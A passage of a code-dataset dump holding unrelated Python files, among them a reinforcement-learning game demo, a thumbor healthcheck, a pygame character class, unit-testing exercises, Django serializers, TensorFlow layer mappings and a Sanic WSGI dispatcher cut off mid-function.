gym\nimport retro\nfrom stable_baselines.common.vec_env import DummyVecEnv\nfrom stable_baselines import DQN,PPO2\nfrom stable_baselines.common import set_global_seeds\nfrom stable_baselines.bench import Monitor\nfrom baselines.common.retro_wrappers import *\nfrom util import log_dir, callback, AirstrikerDiscretizer, CustomRewardAndDoneEnv\nimport time\n\n# 環境の生成\nenv = retro.make(game='Airstriker-Genesis', state='Level1')\nenv = AirstrikerDiscretizer(env) # 行動空間を離散空間に変換\nenv = CustomRewardAndDoneEnv(env) # 報酬とエピソード完了の変更\nenv = StochasticFrameSkip(env, n=4, stickprob=0.25) # スティッキーフレームスキップ\nenv = Downsample(env, 2) # ダウンサンプリング\nenv = Rgb2gray(env) # グレースケール\nenv = FrameStack(env, 4) # フレームスタック\nenv = ScaledFloatFrame(env) # 状態の正規化\nenv = Monitor(env, log_dir/demo, allow_early_resets=True)\nenv = DummyVecEnv([lambda: env])\n\n# モデルの読み込み (1)\nmodel = PPO2.load('airstriker_model')\n\n# モデルのテスト\nstate = env.reset()\ntotal_reward = 0\nfor i in range(5000):\n # 環境の描画\n env.render()\n\n # スリープ\n time.sleep(1 / 30)\n\n # モデルの推論\n action, _ = model.predict(state)\n\n # 1ステップ実行\n state, reward, done, info = env.step(action)\n total_reward += reward[0]\n\n # エピソード完了\n if done:\n print('reward:', total_reward)\n state = env.reset()\n total_reward = 0\n","sub_path":"PPO/model_load.py","file_name":"model_load.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"153834818","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# thumbor imaging service\n# https://github.com/thumbor/thumbor/wiki\n\n# Licensed under the MIT license:\n# http://www.opensource.org/licenses/mit-license\n# Copyright (c) 2011 globo.com thumbor@googlegroups.com\nfrom redis import Redis, RedisError\n\nfrom thumbor.handlers import BaseHandler, ContextHandler\nfrom thumbor.utils import logger\n\nfrom remotecv.unique_queue import UniqueQueue\n\n\nclass HealthcheckHandler(BaseHandler):\n def get(self):\n self.write('WORKING')\n\n def head(self, *args, **kwargs):\n self.set_status(200)\n\n\nclass QueueSizeHandler(ContextHandler):\n queue = None\n\n def get(self):\n response = {'name': self.context.config.WORKER_NAME, 'quantity': 0}\n try:\n if not QueueSizeHandler.queue:\n redis = Redis(host=self.context.config.REDIS_QUEUE_SERVER_HOST,\n port=self.context.config.REDIS_QUEUE_SERVER_PORT,\n db=self.context.config.REDIS_QUEUE_SERVER_DB,\n password=self.context.config.REDIS_QUEUE_SERVER_PASSWORD)\n QueueSizeHandler.queue = UniqueQueue(server=redis)\n pending = QueueSizeHandler.queue.info().get('pending')\n response['quantity'] = pending\n self.write(response)\n except RedisError:\n self.context.request.detection_error = True\n QueueSizeHandler.queue = None\n logger.exception('Redis Error')\n self.write(response)\n","sub_path":"thumbor/handlers/healthcheck.py","file_name":"healthcheck.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"406729291","text":"\nimport pygame\nimport re\nfrom pygame.locals import *\nfrom utils import load_tile_table, right, left, up, down\n\nclass Character(object):\n def __init__(self, name, map, posx=0, posy=0):\n self.width = 64\n self.height = 64\n self.pos = Rect(posx,posy, self.width, self.height)\n self.step = 4\n self.name = name\n self.index = 0\n self.repr = load_tile_table(\"images/claudius.png\",64, 64, 0)\n self.map = map\n self.nbr_step_max = self.map().width_tile/self.step # width = height for tiles step must divide width\n self.nbr_step = 1\n self.path = []\n self.path_changed = False\n self.last_node = None\n self.tile_objectif = None\n self.selected = False\n\n def new_path(self, tile_objectif):\n # if we have no objective\n if tile_objectif is None:\n return\n if self.path != []:\n # we have to align the character to the tiles before computing\n # a new path\n self.path_changed = True\n self.tile_objectif = tile_objectif\n else:\n self.path = self.map().path_to_tile(self.pos.centerx, self.pos.centery, tile_objectif.repr.centerx, tile_objectif.repr.centery)\n\n def move_path(self):\n # nothing to do\n if self.path == []:\n return\n path = None\n # if we have to align\n if self.path_changed:\n path = [self.last_node]\n else:\n path = self.path\n # when nb_step == nbr_step_max, we are aligned\n if self.nbr_step >= self.nbr_step_max:\n # we arrive in a new node (tile)\n self.last_node= path.pop(0)\n self.nbr_step = 1\n # compute the new path\n if self.path_changed:\n self.path_changed = False\n self.path = []\n self.new_path(self.tile_objectif)\n else:\n # moving into a node (a tile)\n self.last_node = path[0]\n self.nbr_step += 1\n # applying the move\n self.move(self.last_node.direction)\n\n\n\n\n\n def move(self, direction):\n\n prev = self.pos.x, self.pos.y\n self.pos.x, self.pos.y = (self.pos.x + direction[0]*self.step, self.pos.y + direction[1]*self.step)\n\n # with pathfinding, only useful when pathfinding fail to do the right thing\n # no collision with tile should occur with pathfinding\n if self.collision(direction) :\n if direction == down or direction == up:\n self.pos.y = (prev[1] + self.map().height_tile / 2) / self.map().height_tile * self.map().height_tile\n elif direction == left or direction == right:\n self.pos.x = (prev[0] + self.map().width_tile / 2) / self.map().width_tile * self.map().width_tile\n\n def coll_verify(self, tile_before, tile_middle, tile_after):\n # C1 C2 C3\n # Player\n # (going up)\n # check if we overlap one of those case\n # this is messy and need to be rethought completely\n #for a more global view (with different size of tile / character for example\n\n if ((tile_middle is not None) and\n (not tile_middle.walkable ) and\n pygame.Rect.colliderect(self.pos, tile_middle.repr) ):\n return True\n elif ( (tile_before is not None) and\n (not tile_before.walkable) and\n pygame.Rect.colliderect(self.pos, tile_before.repr) ):\n return True\n elif ( (tile_after is not None) and\n (not tile_after.walkable) and\n pygame.Rect.colliderect(self.pos, tile_after.repr) ):\n return True\n else :\n return False\n\n\n def collision(self, direction):\n x,y = self.pos.x, self.pos.y\n res = False\n if x + self.width > self.map().w or x < 0 or y + self.height > self.map().h or y < 0:\n res = True\n\n elif direction == up:\n try:\n tile_middle = self.map().get_tile(self.pos.centerx, self.pos.y)\n except IndexError:\n return True\n try:\n tile_before = self.map().get_tile(self.pos.x, self.pos.y)\n except IndexError:\n tile_before = tile_middle\n\n try:\n tile_after = self.map().get_tile(self.pos.x+self.width, self.pos.y)\n except IndexError:\n tile_after = tile_middle\n\n res = self.coll_verify(tile_before, tile_middle, tile_after)\n\n elif direction == down:\n\n try:\n tile_middle = self.map().get_tile(self.pos.centerx, self.pos.y + self.width)\n except IndexError:\n return True\n try:\n tile_before = self.map().get_tile(self.pos.x, self.pos.y + self.width)\n except IndexError:\n tile_before = tile_middle\n\n\n try:\n tile_after = self.map().get_tile(self.pos.x+self.width, self.pos.y + self.width)\n except IndexError:\n tile_after = tile_middle\n\n res = self.coll_verify(tile_before, tile_middle, tile_after)\n\n elif direction == left:\n\n try:\n tile_middle = self.map().get_tile(self.pos.x, self.pos.centery)\n except IndexError:\n return True\n\n try:\n tile_before = self.map().get_tile(self.pos.x, self.pos.y)\n except IndexError:\n tile_before = tile_middle\n\n\n try:\n tile_after = self.map().get_tile(self.pos.x, self.pos.y+ self.height)\n except IndexError:\n tile_after = tile_middle\n\n res = self.coll_verify(tile_before, tile_middle, tile_after)\n\n elif direction == right:\n\n try:\n tile_middle = self.map().get_tile(self.pos.x + self.width, self.pos.centery)\n except IndexError:\n return True\n\n try:\n tile_before = self.map().get_tile(self.pos.x + self.width, self.pos.y)\n except IndexError:\n tile_before = tile_middle\n\n try:\n tile_after = self.map().get_tile(self.pos.x + self.width, self.pos.y+ self.height)\n except IndexError:\n tile_after = tile_middle\n\n res = self.coll_verify(tile_before, tile_middle, tile_after)\n return res\n\n\n","sub_path":"character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":6526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"492651545","text":"#coding=utf-8\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport platform\n\ndef unpickle(file):\n import cPickle\n with open(file,'rb') as fo:\n dict = cPickle.load(fo)\n return dict\n\nosName = platform.system()\n\nif osName == 'Darwin':\n mydata = unpickle(\n r'/Users/mac/Documents/class/Standard_CS231n/2016/assignment01/winter1516_assignment1/cifar-10-batches-py/')\nelse:\n mydata = unpickle(r'D:\\class\\stanford_cs231n_2016\\winter1516_assignment1\\assignment1\\cs231n\\datasets\\cifar-10-batches-py\\data_batch_1')\n\nX = mydata['data']\nlabel = mydata['labels']\nX = np.array(X)\nnp.set_printoptions(threshold='nan')\n\nnew = X.reshape(10000, 3, 32, 32)\n# 因为使用imshow将一个矩阵显示为RGB图片,需要\n# 将三个32*32的矩阵合成一个32*32*3的三维矩阵\n\n# 下面就是先将这三个矩阵(32*32)转化为1024*1的向量\n# 然后使用hstack的功能将每个矩阵上相同位置的值合成\n# 一个RGB像素点--->[r,g,b]\n# 最后得到 1024*3的矩阵\nred = new[100][0].reshape(1024, 1)\ngreen = new[100][1].reshape(1024, 1)\nblue = new[100][2].reshape(1024, 1)\n\npic = np.hstack((red, green, blue))\n\n# 打印最开始的32*32的矩阵,\n# 因为为RGB图像,所以为有三个32*32的矩阵\nprint(new[0][0])\nprint(new[0][1])\nprint(new[0][2])\n\n# 重新设置pic的形状\npic_rgb = pic.reshape(32, 32, 3)\n# imshow显示的图片格式应该是\n# (n,m) or (n,m,3) or (n,m,4)\n# 显示最后得到的rgb图片\nplt.imshow(pic_rgb)\n\nplt.legend()\nplt.show()","sub_path":"stanford_cs231n_cnn/winter_2016_note01_linear_classification/show_cifar.py","file_name":"show_cifar.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"625137599","text":"# Ch7\n# Created by JKChang\n# 07/01/2018, 18:10\n# Tag:\n# Description: input and while\n\n# -------------------input -----------------------------------------------\nname = input(\"what's your name please? \")\nmessage = input('please leave your messages: ')\nprint('hi, David you have one message come from', name,\n '\\n\"', message, '\"')\n\n# --------------------while & List/Dict -----------------------------------\nprint()\nunconfirmed_user = ['Alice','brain','Gareth']\nconfirmed = []\n\nwhile unconfirmed_user:\n curr_user = unconfirmed_user.pop()\n print('verifying user: ' + curr_user.title())\n confirmed.append(curr_user.title())\n\nprint('\\nthe following users have been confirmed: ')\nfor user in confirmed:\n print(user)\n\n# --------------------while remove()-----------------------------------\nprint()\npets = ['cat','dog','bird','cat','cat']\nprint(pets)\nwhile 'cat' in pets:\n pets.remove('cat')\n\nprint('after remove cat:', pets)\n","sub_path":"RD_Club/PCC/Ch7.py","file_name":"Ch7.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"267581104","text":"# solutions.py\n\"\"\"Volume IB: Testing.\n\n\n\"\"\"\nimport math\nimport pytest\nimport os.path\nimport itertools\n\n# Problem 1 Write unit tests for addition().\n# Be sure to install pytest-cov in order to see your code coverage change.\n\n\ndef addition(a, b):\n return a + b\n\ndef smallest_factor(n):\n \"\"\"Finds the smallest prime factor of a number.\n Assume n is a positive integer.\n \"\"\"\n if n == 1:\n return 1\n for i in range(2, int(math.sqrt(n)) + 1):\n if n % i == 0:\n return i\n return n\n\n# Problem 2 Write unit tests for operator().\ndef operator(a, b, oper):\n if type(oper) != str:\n raise ValueError(\"Oper should be a string\")\n if len(oper) != 1:\n raise ValueError(\"Oper should be one character\")\n if oper == \"+\":\n return a + b\n if oper == \"/\":\n if b == 0:\n raise ValueError(\"You can't divide by zero!\")\n return a/float(b)\n if oper == \"-\":\n return a-b\n if oper == \"*\":\n return a*b\n else:\n raise ValueError(\"Oper can only be: '+', '/', '-', or '*'\")\n\n\n# Problem 3 Write unit test for this class.\nclass ComplexNumber(object):\n def __init__(self, real=0, imag=0):\n self.real = real\n self.imag = imag\n\n def conjugate(self):\n return ComplexNumber(self.real, -self.imag)\n\n def norm(self):\n return math.sqrt(self.real**2 + self.imag**2)\n\n def __add__(self, other):\n real = self.real + other.real\n imag = self.imag + other.imag\n return ComplexNumber(real, imag)\n\n def __sub__(self, other):\n real = self.real - other.real\n imag = self.imag - other.imag\n return ComplexNumber(real, imag)\n\n def __mul__(self, other):\n real = self.real*other.real - self.imag*other.imag\n imag = self.imag*other.real + other.imag*self.real\n return ComplexNumber(real, imag)\n\n def __div__(self, other):\n if other.real == 0 and other.imag == 0:\n raise ValueError(\"Cannot divide by zero\")\n bottom = (other.conjugate()*other*1.).real\n top = self*other.conjugate()\n return ComplexNumber(top.real / bottom, top.imag / bottom)\n\n def __eq__(self, other):\n return self.imag == other.imag and self.real == other.real\n\n def __str__(self):\n return \"{}{}{}i\".format(self.real, '+' if self.imag >= 0 else '-',\n abs(self.imag))\n\n# Problem 5: Write code for the Set game here\ndef Cards(fileName):\n '''\n Loads in the cards and checks if the filename is valid,\n that there are no duplicates, and that 12 cards are given\n '''\n if not os.path.isfile(fileName):\n raise ValueError(\"This is not a valid file\") \n\n with open(fileName) as f:\n cards = f.readlines()\n \n if (len(cards) < 12):\n raise ValueError(\"Not enough cards provided!\")\n\n for c in cards:\n c = c.split()\n\n if len(cards) != len(set(cards)):\n raise ValueError(\"These cards coontain a duplicate!\")\n\n\n return cards\n\ndef SetCheck(cards):\n sets = 0 # tracks the number of sets\n possibleSets = list(itertools.combinations(range(12), 3)) # all possible subsets\n\n for poss in possibleSets:\n cardSum = cards[poss[0]] + cards[poss[1]] + cards[poss[2]]\n if (cardSum[0] % 3 == 0 and cardSum[1] % 3 and cardSum[2] % 3):\n sets += 1\n\n return sets\n\n \ndef SetGame(fileName):\n cards = Cards(fileName)\n sets = SetCheck(cards)\n return sets\n","sub_path":"Computation/Week1/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"268668311","text":"from rest_framework.exceptions import ValidationError\nfrom rest_framework.fields import IntegerField, SerializerMethodField\nfrom rest_framework.serializers import ModelSerializer, Serializer\n\nfrom matches.models import Match, MatchSeat\nfrom stadiums.api.serializers import StadiumSerializer\nfrom stadiums.models import StadiumSeatRow\n\n\nclass MatchSerializer(ModelSerializer):\n \"\"\" Serializer responsible for generating matches list and creating one\"\"\"\n\n stadium = StadiumSerializer()\n\n class Meta:\n model = Match\n fields = (\n 'id', 'stadium', 'team_a', 'team_b', 'start_time', 'stadium'\n )\n read_only_fields = ('id',)\n\n\nclass MatchSeatSerializer(ModelSerializer):\n \"\"\" Serializer responsible for generating matches list and creating one\"\"\"\n\n class Meta:\n model = MatchSeat\n fields = (\n 'id', 'row', 'seat_number', 'price',\n )\n\n\nclass AddSeatSerializer(Serializer):\n \"\"\"\n We'll accept a range for each row of the stadium to generate the seats for the match.\n Using range will allow us to create bulk seats as well as creating them one by one.\n \"\"\"\n row = IntegerField(required=True, help_text=\"seat row\")\n from_column = IntegerField(required=True, help_text=\"starting column range\")\n to_column = IntegerField(required=True, help_text=\"ending column range\")\n price = IntegerField(required=True, help_text=\"ticket price\")\n\n def get_match(self) -> Match:\n return self.context.get(\"match\")\n\n def validate_row(self, value) -> StadiumSeatRow:\n \"\"\"\n Check if row exists in the stadium of the match\n\n :param value: int - row number\n :return: StadiumSeatRow - row instance\n \"\"\"\n match = self.get_match()\n if match.stadium.row_count < value:\n raise ValidationError(\"row doesn't exists\")\n\n try:\n return match.stadium.rows.get(row_number=value)\n except:\n raise ValidationError(\"row doesn't exists\")\n\n def validate_from_column(self, value):\n \"\"\"\n Check if the start column is in range.\n \"\"\"\n if self.get_match().stadium.seat_in_row < value:\n raise ValidationError(\"seat out of range\")\n return value\n\n def validate_to_column(self, value):\n \"\"\"\n Check if the end column is in range.\n \"\"\"\n if self.get_match().stadium.seat_in_row < value:\n raise ValidationError(\"seat out of range\")\n return value\n\n @staticmethod\n def validate_price(value):\n \"\"\"\n Price can't be less than 1\n \"\"\"\n if value < 0:\n raise ValidationError(\"ticket price must be greater than 0\")\n return value\n\n def create(self, validated_data):\n \"\"\"\n Create seats in range [from_column, to_column] (from and to column included).\n Example: range 1-5 will generate 5 seats with seat numbers: [1, 2, 3, 4, 5]\n \"\"\"\n match = self.get_match()\n seats = []\n for i in range(validated_data[\"from_column\"], validated_data[\"to_column\"] + 1):\n seats.append(MatchSeat(seat_number=i, match=match, row=validated_data[\"row\"]))\n\n # Generate seats all together.\n # No reason to create them one by one.\n MatchSeat.objects.bulk_create(seats)\n\n return {\"status\": \"ok\", \"message\": \"seats added\"}\n","sub_path":"volleyball/matches/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"46576871","text":"import os\nimport urlparse\n\nimport dj_database_url\n\nfrom .settings import *\n\n# Parse database configuration from $DATABASE_URL\nDATABASES['default'] = dj_database_url.config()\n\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Allow all host headers\nALLOWED_HOSTS = ['*']\n\nINSTALLED_APPS += (\n 'storages',\n)\n\n# Static asset configuration\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = (\n os.path.join(BASE_DIR, '..', 'static'),\n)\n\n# make debug easier to flip on and off\nDEBUG = os.environ.get('DEBUG', False) == 'True'\n\n# MEDIA files serving\nDEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\nAWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID', None)\nAWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY', None)\nAWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME', None)\n\n# We are explicitly _not_ setting this because we are using Kenneth Reitz's\n# dj_static app to serve static media from Heroku. Because hey ... free\n# bandwidth at Heroku!\n# STATICFILES_STORAGE = '(remove_me)storages.backends.s3boto.S3BotoStorage'\n\n# see http://developer.yahoo.com/performance/rules.html#expires\nAWS_HEADERS = {\n 'Expires': 'Tue, 21 Jun 2016 20:00:00 GMT', # something about that date ...\n}\n","sub_path":"human/settings/heroku.py","file_name":"heroku.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"153247485","text":"\n\n#calss header\nclass _SALEABLE():\n\tdef __init__(self,): \n\t\tself.name = \"SALEABLE\"\n\t\tself.definitions = [u'easy to sell or suitable for selling: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_saleable.py","file_name":"_saleable.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"90565266","text":"\n__all__ = [\"ACTIVATION_LAYERS\", \"ACTIVATION_FNS\", \"LOSSES\", \"LAYERS\", \"OPTIMIZERS\", \"tcn\"]\n\n# it is supposed that tf is available\n\nimport tensorflow as tf\n\nimport AI4Water.utils.tf_losses as tf_losses\nfrom AI4Water.nbeats_keras import NBeats\nimport AI4Water.models.attention_layers as attns\nfrom AI4Water.utils.utils import get_attributes\nfrom AI4Water.models.tft_layer import TemporalFusionTransformer\n\ntry:\n from .private_layers import PrivateLayers\nexcept (ModuleNotFoundError, ImportError):\n PrivateLayers = None\n\ntry:\n import tcn\nexcept ModuleNotFoundError:\n tcn = None\n\nkeras = tf.keras\n\nLOSSES = {\n 'nse': tf_losses.tf_nse,\n 'kge': tf_losses.tf_kge,\n}\nLOSSES.update(get_attributes(aus=tf.keras, what='losses'))\n\nLAYERS = {\n \"TCN\": tcn.TCN if tcn is not None else None,\n # Concatenate and concatenate act differently, so if we want to use Concatenate, then use Concat not Concatenate\n # this is because we have made the layer names case insensitive and CONCATENATE is actually concatenate.\n \"CONCAT\": keras.layers.Concatenate,\n \"NBEATS\": NBeats,\n \"TEMPORALFUSIONTRANSFORMER\": TemporalFusionTransformer,\n}\n\nLAYERS.update(get_attributes(aus=tf.keras, what='layers'))\n\n# tf.layers.multiply is functional interface while tf.layers.Multiply is a proper layer in keras.\nLAYERS[\"MULTIPLY\"] = keras.layers.Multiply\n\nLAYERS.update(get_attributes(aus=attns, what='attn_layers'))\n\nif PrivateLayers is not None:\n # add private layers to dictionary\n LAYERS.update(get_attributes(aus=PrivateLayers, what='layers'))\n\nACTIVATION_LAYERS = {\n # https://ai.stanford.edu/%7Eamaas/papers/relu_hybrid_icml2013_final.pdf\n 'LEAKYRELU': lambda name='softsign': keras.layers.LeakyReLU(),\n # https://arxiv.org/pdf/1502.01852v1.pdf\n 'PRELU': lambda name='prelu': keras.layers.PReLU(name=name),\n 'RELU': lambda name='relu': keras.layers.Activation('relu', name=name),\n 'TANH': lambda name='tanh': keras.layers.Activation('tanh', name=name),\n 'ELU': lambda name='elu': keras.layers.ELU(name=name),\n 'THRESHOLDRELU': lambda name='ThresholdRelu': keras.layers.ThresholdedReLU(name=name),\n 'SELU': lambda name='selu': keras.layers.Activation(\"selu\", name=name),\n 'SIGMOID': lambda name='sigmoid': keras.layers.Activation('sigmoid', name=name),\n 'HARDSIGMOID': lambda name='HardSigmoid': keras.layers.Activation('hard_sigmoid', name=name),\n 'CRELU': lambda name='crelu': keras.layers.Activation(tf.nn.crelu, name=name),\n 'RELU6': lambda name='relu6': keras.layers.Activation(tf.nn.relu6, name=name),\n 'SOFTMAX': lambda name='softmax': keras.layers.Activation(tf.nn.softmax, name=name),\n 'SOFTPLUS': lambda name='sofplus': keras.layers.Activation(tf.nn.softplus, name=name),\n 'SOFTSIGN': lambda name='softsign': keras.layers.Activation(tf.nn.softsign, name=name),\n \"SWISH\": lambda name='swish': keras.layers.Activation(tf.nn.swish, name=name),\n}\n\nACTIVATION_FNS = {\n 'RELU': 'relu', # keras.layers.Activation('relu', name=name),\n 'TANH': 'tanh',\n 'ELU': 'elu',\n 'LEAKYRELU': tf.nn.leaky_relu,\n 'CRELU': tf.nn.crelu,\n 'SELU': tf.nn.selu, # tf.keras.activations.selu, # https://arxiv.org/pdf/1706.02515.pdf\n 'RELU6': tf.nn.relu6, # http://www.cs.utoronto.ca/%7Ekriz/conv-cifar10-aug2010.pdf\n 'SOFTMAX': tf.nn.softmax,\n \"SOFTSIGN\": tf.nn.softsign,\n \"SOFTPLUS\": tf.nn.softplus,\n 'SIGMOID': tf.nn.sigmoid,\n \"HARDSIGMOID\": 'hard_sigmoid',\n \"LINEAR\": 'linear',\n \"SWISH\": tf.nn.swish, # https://arxiv.org/pdf/1710.05941.pdf\n}\n\n\nOPTIMIZERS = get_attributes(aus=tf.keras, what='optimizers')\n","sub_path":"AI4Water/tf_attributes.py","file_name":"tf_attributes.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"274574623","text":"# -*- coding: utf-8 -*-\n\"\"\"\n sanic_dispatcher\n ~~~~\n\n :copyright: (c) 2017 by Ashley Sommer (based on DispatcherMiddleware in the Werkzeug Project).\n :license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom inspect import isawaitable\nfrom io import BytesIO\nfrom sanic import Sanic\nfrom sanic.response import HTTPResponse\n\n\nclass WsgiApplication(object):\n __slots__ = ['app', 'apply_middleware']\n\n def __init__(self, app, apply_middleware=False):\n self.app = app\n self.apply_middleware = apply_middleware\n\n\nclass SanicApplication(object):\n __slots__ = ['app', 'apply_middleware']\n\n def __init__(self, app, apply_middleware=False):\n self.app = app\n self.apply_middleware = apply_middleware\n\n\nclass SanicCompatURL(object):\n \"\"\"\n This class exists because the sanic native URL type is private (a non-exposed C module)\n and all of its components are read-only. We need to modify the URL path in the dispatcher\n so we build a feature-compatible writable class of our own to use instead.\n \"\"\"\n __slots__ = ('schema', 'host', 'port', 'path', 'query', 'fragment', 'userinfo')\n\n def __init__(self, schema, host, port, path, query, fragment, userinfo):\n self.schema = schema\n self.host = host\n self.port = port\n self.path = path\n self.query = query\n self.fragment = fragment\n self.userinfo = userinfo\n\n\nclass SanicDispatcherMiddleware(object):\n \"\"\"\n A multi-application dispatcher, and also acts as a sanic-to-wsgiApp adapter.\n Based on the DispatcherMiddleware class in werkzeug.\n \"\"\"\n\n __slots__ = ['parent_app', 'parent_handle_request', 'mounts', 'hosts']\n\n def __init__(self, parent_app, parent_handle_request, mounts=None, hosts=None):\n self.parent_app = parent_app\n self.parent_handle_request = parent_handle_request\n self.mounts = mounts or {}\n self.hosts = frozenset(hosts) if hosts else frozenset()\n\n # noinspection PyMethodMayBeStatic\n def _call_wsgi_app(self, script_name, path_info, request, wsgi_app, response_callback):\n \"\"\"Even though the lint says that this method can be static, it really can't. The internal functions need to be\n unique for every call to `_call_wsgi_app`, so a static method would not work here.\"\"\"\n http_response = None\n body_bytes = bytearray()\n\n def _start_response(status, headers, *args, **kwargs):\n \"\"\"The start_response callback as required by the wsgi spec. This sets up a response including the\n status code and the headers, but doesn't write a body.\"\"\"\n nonlocal http_response\n nonlocal body_bytes\n if isinstance(status, int):\n code = status\n elif isinstance(status, str):\n code = int(status.split(\" \")[0])\n else:\n raise RuntimeError(\"status cannot be turned into a code.\")\n sanic_headers = dict(headers)\n response_constructor_args = {'status': code, 'headers': sanic_headers}\n if 'content_type' in kwargs:\n response_constructor_args['content_type'] = kwargs['content_type']\n elif 'Content-Type' in sanic_headers:\n response_constructor_args['content_type'] = str(sanic_headers['Content-Type']).split(\";\")[0].strip()\n http_response = HTTPResponse(**response_constructor_args)\n\n def _write_body(body_data):\n \"\"\"This doesn't seem to be used, but it is part of the wsgi spec, so need to have it.\"\"\"\n nonlocal body_bytes\n nonlocal http_response\n if isinstance(body_data, bytes):\n pass\n else:\n try:\n # Try to encode it regularly\n body_data = body_data.encode()\n except AttributeError:\n # Convert it to a str if you can't\n body_data = str(body_data).encode()\n body_bytes.extend(body_data)\n return _write_body\n\n environ = {}\n original_script_name = environ.get('SCRIPT_NAME', '')\n environ['SCRIPT_NAME'] = original_script_name + script_name\n environ['PATH_INFO'] = path_info\n if 'host' in request.headers:\n host = request.headers['host']\n else:\n host = 'localhost:80'\n if 'content-type' in request.headers:\n content_type = request.headers['content-type']\n else:\n content_type = 'text/plain'\n environ['CONTENT_TYPE'] = content_type\n if 'content-length' in request.headers:\n content_length = request.headers['content-length']\n environ['CONTENT_LENGTH'] = content_length\n\n split_host = host.split(':', 1)\n server_name = split_host[0]\n if len(split_host) > 0:\n server_port = split_host[1]\n else:\n raise RuntimeError(\"Did not get a Port number in the url string!\")\n environ['SERVER_PORT'] = server_port\n environ['SERVER_NAME'] = server_name\n environ['SERVER_PROTOCOL'] = 'HTTP/1.1' if request.version == \"1.1\" else 'HTTP/1.0'\n environ['HTTP_HOST'] = host\n environ['QUERY_STRING'] = request.query_string or ''\n environ['REQUEST_METHOD'] = request.method\n environ['wsgi.url_scheme'] = 'http' # todo: detect http vs https\n environ['wsgi.input'] = BytesIO(request.body) if request.body is not None and len(request.body) > 0\\\n else BytesIO(b'')\n try:\n wsgi_return = wsgi_app(environ, _start_response)\n except Exception as e:\n print(e)\n raise e\n if http_response is None:\n http_response = HTTPResponse(\"WSGI call error.\", 500)\n else:\n for body_part in wsgi_return:\n if body_part is not None:\n if isinstance(body_part, bytes):\n pass\n else:\n try:\n # Try to encode it regularly\n body_part = body_part.encode()\n except AttributeError:\n # Convert it to a str if you can't\n body_part = str(body_part).encode()\n body_bytes.extend(body_part)\n http_response.body = bytes(body_bytes)\n return response_callback(http_response)\n\n @staticmethod\n def get_request_scheme(request):\n try:\n if request.headers.get('upgrade') == 'websocket':\n scheme = b'ws'\n elif request.transport.get_extra_info('sslcontext'):\n scheme = b'https'\n else:\n scheme = b'http'\n except (AttributeError, KeyError):\n scheme = b'http'\n return scheme\n\n def _get_application_by_route(self, request, use_host=False):\n host = request.headers.get('Host', '')\n host_bytes = host.encode('utf-8')\n scheme = self.get_request_scheme(request)\n path = request._parsed_url.path\n port = request._parsed_url.port\n query_string = request._parsed_url.query\n fragment = request._parsed_url.fragment\n userinfo = request._parsed_url.userinfo\n script = path\n if use_host:\n script = b'%s%s' % (host_bytes, script)\n path_info = b''\n while b'/' in script:\n script_str = script.decode('utf-8')\n if script_str in self.mounts:\n application = self.mounts[script_str]\n break\n script, last_item = script.rsplit(b'/', 1)\n path_info = b'/%s%s' % (last_item, path_info)\n else:\n script_str = script.decode('utf-8')\n application = self.mounts.get(script_str, None)\n if application is not None:\n request._parsed_url = SanicCompatURL(scheme, host_bytes, port,\n path_info, query_string, fragment, userinfo)\n request.parsed_args = None # To trigger re-parse args\n path = request.path\n return application, script_str, path\n\n async def __call__(self, request, write_callback, stream_callback):\n # Assume at this point that we have no app. So we cannot know if we are on Websocket or not.\n if self.hosts and len(self.hosts) > 0:\n application, script, path = self._get_application_by_route(request, True)\n if application is None:\n application, script, path = self._get_application_by_route(request, False)\n else:\n application, script, path = self._get_application_by_route(request)\n if application is None: # no child matches, call the parent\n return await self.parent_handle_request(request, write_callback, stream_callback)\n\n real_write_callback = write_callback\n real_stream_callback = stream_callback\n response = False\n streaming_response = False\n def _write_callback(child_response):\n nonlocal response\n response = child_response\n\n def _stream_callback(child_stream):\n nonlocal streaming_response\n streaming_response = child_stream\n\n replaced_write_callback = _write_callback\n replaced_stream_callback = _stream_callback\n parent_app = self.parent_app\n if application.apply_middleware and parent_app.request_middleware:\n request.app = parent_app\n for middleware in parent_app.request_middleware:\n response = 